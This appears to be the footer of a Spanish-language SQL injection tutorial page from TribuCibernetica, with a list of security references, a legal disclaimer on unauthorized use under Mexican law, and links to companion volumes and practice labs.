  • PortSwigger Web Security Academy — Blind SQL Injection
  • CVE-2025-1094 — PostgreSQL improper handling of quoting syntax in psql (CVSS 8.1)
  • OWASP Testing Guide v4.2 — OTG-INPVAL-005: Testing for SQL Injection
  • OWASP Top 10:2025 — A03: Injection
  • CWE-89 — Improper Neutralization of Special Elements used in an SQL Command
  • MITRE ATT&CK — T1190: Exploit Public-Facing Application

© 2026 TribuCibernetica. Contenido publicado bajo fines educativos y de investigación en seguridad autorizada. El uso de estas técnicas contra sistemas sin autorización explícita constituye un delito penal en México (Artículo 211 bis del Código Penal Federal) y en la mayoría de jurisdicciones internacionales. TribuCibernetica no se hace responsable del uso indebido de la información aquí presentada. Practica exclusivamente en entornos autorizados como el Cyber Range de TribuCibernetica.

→ Leer Tomo 1: Anatomía de SQL Injection
→ Leer Tomo 3: Second-Order, WAF Bypass y Out-of-Band → Practicar Labs SQLi-B01 al B05 en el Cyber Range → Unirse al Discord de TribuCibernetica